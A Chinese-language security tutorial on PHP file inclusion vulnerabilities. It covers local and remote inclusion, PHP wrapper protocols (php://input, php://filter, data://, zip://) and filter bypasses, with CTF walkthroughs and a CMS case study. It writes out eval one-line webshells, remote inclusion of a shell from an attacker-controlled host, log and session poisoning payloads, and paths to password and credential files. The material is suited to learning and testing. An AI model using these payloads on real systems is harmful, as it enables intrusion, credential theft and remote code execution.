文件包含

文件包含漏洞

img

原理

文件包含:

文件包含即程序通过 包含函数 调用本地或远程文件,将文件内容作为脚本执行,以此来实现拓展功能。

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

文件包含漏洞原理:

文件包含漏洞是指当服务器php.ini文件中开启allow_url_include选项时,就可以通过PHP的某些特性函数,比如include()require()include_once()require_once(),利用URL去动态包含文件,让当前页面去执行指定的另外一个文件中的代码内容。此时如果没有对文件来源进行严格审查,就会导致任意文件读取。黑客将很有可能让当前页面去执行超出 Web 目录中的文件,或者是 Web 目录中不希望被执行的敏感文件,甚至是远程服务器上的文件。

几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等

<!-—#include file="1.asp" -->

<!--#include file="top.aspx"-->

<c:import url="http://lthief.one/1.jsp"> // 远程文件包含

<jsp:include page="head.jsp" / >

<%@ include file="head.jsp" %>

<?php Include ('test.php') ?>

检测

  • 白盒

    代码审计

  • 黑盒

    漏洞扫描工具;

    公开漏洞;

    手工查看参数值和功能点(看是不是接收一个文件名作为参数,或者该功能的实现会不会涉及include()之类的函数)。

PHP中常见包含文件的函数

include()

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$filename = $_GET['filename'];
include($filename);

// http://127.0.0.1:8080/include.php?filename=index.txt

/*
$filename=$_GET['filename'];
include ( $filename." .html" ); // 文件后缀名增加了一个HTML作为限制
*/

?>

比如访问服务器本地1.txt的内容:

image-20220805084014410

include_once()

功能与include()相同,区别在于当重复调用同一文件时,程序只调用一次

require()

require()include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。

require_once()

功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

分类

本地文件包含

被包含的文件在服务器本地

利用条件:

allow_url_include = On

比如,以get请求实施文件包含攻击,查看服务器本地文件:?page=a.php?home=b.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// windows server

c:\boot.ini // 查看系统版本
c:\XX\httpd.conf Apache配置信息
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

// Linux/Unix

/etc/passwd 账户信息
/etc/shadow 账户密码文件
/etc/httpd/conf/httpd.conf Apache配置文件
/etc/my.conf mysql 配置文件
/usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置
/usr/local/app/php5/lib/php.ini PHP相关配置

远程文件包含

利用条件:

allow_url_fopen = On 是否允许将URL(HTTP,HTTPS等)作为文件打开处理

allow_url_include = On 是否允许includeI()和require()函数包含URL(HTTP,HTTPS)作为文件解析处理

远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

比如使用 http://192.168.75.138/shell.php 来替换原 URL 中包含的文件名,可以远程执行 PHP 脚本。shell.php可以是一个一句话木马。

image-20220804213230082

==PHP伪协议==(重要)

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

各协议的利用条件和方法:

参考:https://www.cnblogs.com/endust/p/11804767.html

img

file://

php 涉及到文件以及协议的地方默认使用 file 协议,如果没有写出协议名或者协议不存在,都会被当成 file 协议来解析。

file://[文件的绝对路径和文件名]

不受allow_url_fopen、allow_url_include 开启的限制。

如:?a=file://C:/Windows/win.ini

http://、ftp://

访问 HTTP(s) 网址、访问 FTP(s) URLs。允许通过 HTTP 1.0 的 GET方法,以 只读 访问文件或资源,通常用于远程包含。

需要allow_url_fopen = On、allow_url_include = On。

比如包含木马文件?a=http://vps.vps.vps.vps/shell.php

木马文件(shell.txt)内容:<?php @eval($_POST['shell']);?>

php://

访问各个输入/输出流(I/O streams)。经常使用的是php://filterphp://inputphp://filter用于读取源码,php://input用于执行php代码。

包括php://stdinphp://stdoutphp://stderrphp://inputphp://outputphp://filterphp://fdphp://memoryphp://temp 九种。

  • php://input

    访问请求的原始数据的只读流,将post请求的数据当作php代码 执行。注意enctype=“multipart/form-data” 的时候php://input是无效的。

    需要allow_url_include = On,但是不受 allow_url_fopen 影响。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ?page=php://input

    命令执行:
    POST:
    <?php system('ls');?>

    GetShell:
    POST:
    <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST['shell']) ?>');?>

    image-20220805094122145

  • php://filter

    数据流打开时的筛选过滤应用,读取/解析 本地源代码。

    不受 allow_url_fopen、allow_url_include 影响。

    用于读取文件(增加base64编码):

    1
    2
    3
    4
    5
    ?page=php://filter/read=convert.base64-encode/resource=index.php
    // 将php文件通过base64编码读出("read="可以省略),若不用base64编码,php文件就会作为脚本执行,无法输出源代码。

    ?file=php://filter/read=convert.base64-encode/resource=flag.php
    //读取文件源码

    用于解析(执行)文件,可用于getshell:

    1
    2
    3
    4
    用于GetShell(shell.txt需通过文件上传在目标服务器上):
    木马文件(shell.txt)内容:<?php @eval($_POST['x']);?>

    然后菜刀连接 http://localhost/test.php?file=php://filter/resource=./1.txt 即可。

data://

需要allow_url_fopen=On,allow_url_include=On。

将data://所指内容 执行

1
data://text/plain,待执行的文本内容

http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo(); ?>

image-20220805094336370

zip://

压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码 执行

不受 allow_url_fopen、allow_url_include 影响。

1
2
3
4
5
?page=zip://D:/phpStudy/WWW/file.zip%23code.txt

格式:
zip://[压缩包绝对路径]#[压缩包内的子文件名]
注:文件路径必须为绝对路径;zip文件后缀名可以改为其他如图片后缀;#进行url编码为%23

zlib://、bzip2://

压缩流,可以访问压缩文件中的子文件,将子文件的内容当做 php 代码 执行

不受 allow_url_fopen、allow_url_include 影响。

1
2
?page=compress.zlib://file.zip
注:文件路径无绝对路径限制;zlib://协议文件压缩为zip或gz都可以,bzip2://协议文件压缩为bz2;后缀名也可以改为其他,如图片后缀

各种文件包含

本地文件包含

利用网站报错日志写入木马程序。

流程如下:

  • 首先需要找到日志文件的存储位置
  • 借助报错,往日志文件写木马
  • 使用工具(菜刀或者蚁剑)连接

包含上传文件(先上传,后包含)

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg

图片代码如下:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

包含Apache日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

前提是知道日志的物理存放路径。

日志默认路径

  1. apache+Linux日志默认路径

    1
    2
    /etc/httpd/logs/access_log  
    /var/log/httpd/access_log
  2. apache+win2003日志默认路径

    1
    2
    D:\xampp\apache\logs\access.log
    D:\xampp\apache\logs\error.log
  3. IIS6.0+win2003默认日志文件

    1
    C:\WINDOWS\system32\Logfiles
  4. IIS7.0+win2003 默认日志文件

    1
    %SystemDrive%\inetpub\logs\LogFiles
  5. nginx 日志文件

    日志文件在用户安装目录logs目录下。以我的安装路径为例/usr/local/nginx,那我的日志目录就是在/usr/local/nginx/logs里。

web中间件默认配置

  1. apache+linux 默认配置文件

    1
    2
    /etc/httpd/conf/httpd.conf
    index.php?page=/etc/init.d/httpd
  2. IIS6.0+win2003 配置文件

    1
    C:/Windows/system32/inetsrv/metabase.xml
  3. IIS7.0+WIN 配置文件

1
C:\Windows\System32\inetsrv\config\applicationHost.config

curl 构造一句话,写入日志文件测试记录

1
curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"

包含session

可以先尝试包含到session文件,再根据session文件内容寻找可控变量,再构造payload插入到文件中,最后包含即可。

前提

  • 找到Session内的可控变量
  • Session文件可读写,并且知道存储路径

session常见存储路径:

1
2
3
4
5
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

包含/pros/self/environ

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

利用条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。
1
2
3
4
5
6
7
8
9
10
11
12
13
- /proc/cpuinfo:CPU 的信息 (型号, 家族, 缓存大小等) 
- /proc/meminfo:物理内存、交换空间等的信息
- /proc/mounts:已加载的文件系统的列表
- /proc/devices:可用设备的列表
- /proc/filesystems:被支持的文件系统
- /proc/modules:已加载的模块
- /proc/version:内核版本

- /proc/[pid]/cmdline:系统启动时输入的内核命令行参数。
- /proc/[pid]/cwd:通过cwd命令可以直接跳转到当前目录。
- /proc/[pid]/environ:环境变量中可能存在secret_key,这时也可以通过environ进行读取。

上述路径中的PID是需要填写的进程号,当然我们不知道,但这里我们可以用 **self** 来表示我们自己现在正在用的进程。

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

如何获取临时文件的文件名

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考。

防御

黑名单(协议、路径限制)

使用 str_replace() 函数把 http://https://../..\ 替换为了空值,来防止远程文件包含和相对路径的文件包含。

绕过:在 http:// 中再嵌套一个 http:// ,以及在 ../ 中多嵌套一个 ../,在 URL 中输入包含的文件名为 ..././..././phpinfo.php,则可以绕过限制;另外,也可以使用绝对路径的文件包含。

固定后缀

使用include ( $filename." .html" );之类的方式固定后缀。但是存在绕过。

绕过:各种截断:%00截断、路径长度截断、问号截断、#号截断、空格绕过等。

固定所要包含的文件

不传参,直接写死include的文件。

绕过

无限制文件包含

无限制文件包含是指对于所包含的文件没有限制。无需绕过,可以直接进行文件包含攻击。

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename);
?>

利用条件:

需要 allow_url_include=on

http://127.0.0.1:8080/include.php?filename=../../www.txt 包含本地相对路径的文件。

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt

包含在xiaohua.txt中的PHP代码通过远程文件包含被成功当成PHP代码解析。

有限制文件包含(需要绕过)

有限制文件包含是指当代码中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者 需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename.”.html”); // 在文件名后面强制增加html后缀
?>

包含文件失败:

image-20220805085328234

%00截断

%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。

例如:http://127.0.0.1/test.php?filename=xiaohua.txt%00

利用条件:

  1. magic_quotes_gpc=off

  2. PHP<5.3.4

路径长度截断

操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断。

利用条件

Windows下目录的最大路径256B

Linux下目录的最大路径长度为4096B(根据服务器操作系统决定)

测试payload:

1
http://127.0.0.1/include.php?filename=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

成功绕过,执行1.txt的内容<?php echo phpinfo() ?>

image-20220805085949121

点号截断

点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。

image-20220805090229043

问号绕过

因为问号会分隔实际的 URL 和参数

http://127.0.0.1/include.php?filename=http://www.xiaodi8.com/readme.txt?

image-20220805091001770

#号绕过

因为 # 表示书签

http://127.0.0.1/include.php?filename=http://www.xiaodi8.com/readme.txt%23

注意#要编码为%23

image-20220805091124899

空格绕过

http://127.0.0.1/include.php?filename=http://www.xiaodi8.com/readme.txt%20

注意空格要编码为%20

image-20220805091238408

指定前缀绕过

使用相对路径 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。

例如 ?file=../../phpinfo/phpinfo.php

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

实例

某CMS程序文件包含利用-黑盒

易酷CMS是一款影片播放CMS。该CMS2.5版本存在本地文件包含漏洞。我们可以利用这个漏洞,利用报错信息将一句话木马写入日志中。然后利用文件包含漏洞包含该日志文件,再用菜刀连接拿shell。

我们通过访问下面的url,将一句话木马写入日志文件中。由于文件包含时会自动将文件内容解析为php代码,所以下面的URL中并没有使用<?php ?>。该URL会发生报错:

http://192.168.10.22/index.php?s=my/show/id/{~eval($_POST[x])}

image-20220805105735348

然后就生成了相应的日志文件,文件存储有URL中的恶意代码:

image-20220805105845794

该日志是以时间日期命名的,测试一句话木马:

http://192.168.10.22/index.php?s=my/show/id/../temp/logs/20_08_14.log

image-20220805110122484

用菜刀连接该日志文件,得到shell。

CTF-南邮大

http://4.chinalover.sinaapp.com/web7/index.php

进入网站:

image-20220805095409995

点击click me? no,发生跳转:

image-20220805095508199

  • 确定是否为文件包含

发现网站URL的参数名为file且接收一个文件名,判断可能考察文件包含。直接访问show.php看看:

image-20220805100147678

file=show.php显示是一样的,说明index.php?file=show.php存在文件包含

  • 尝试包含其他文件

尝试使用php://input进行文件包含攻击,执行恶意php代码:

image-20220805100427271

执行失败,说明存在过滤,可能检测到了php之类的关键字,或者allow_url_include 不为on。

尝试使用不受allow_url_include限制的php://filter读取文件,判断是哪种情况:

image-20220805101720074

发现读取成功,说明是allow_url_include 不为on。

把读取内容base64解码,找到flag。

image-20220805101917895

i春秋web include百度杯真题

进入题目链接:

image-20220805102613276

网页给出了网站的php源码,发现存在文件包含。

尝试提交path参数,包含phpinfo.php,成功。

image-20220805103044931

尝试包含index.php,成功。

image-20220805102851837

发现存在index.php。改为index.phP,发现报错。

image-20220805103606874

说明系统对大小写敏感,为linux系统,而且从报错信息来看也知道是linux。

进一步尝试使用php://input来包含恶意代码:

image-20220805103801767

查看可疑文件,查看页面源代码,得到flag:

image-20220805103943697

image-20220805103953364

或者也可以使用php://filter读取该文件:

image-20220805104100186

然后base64解码即可。

image-20220805104151328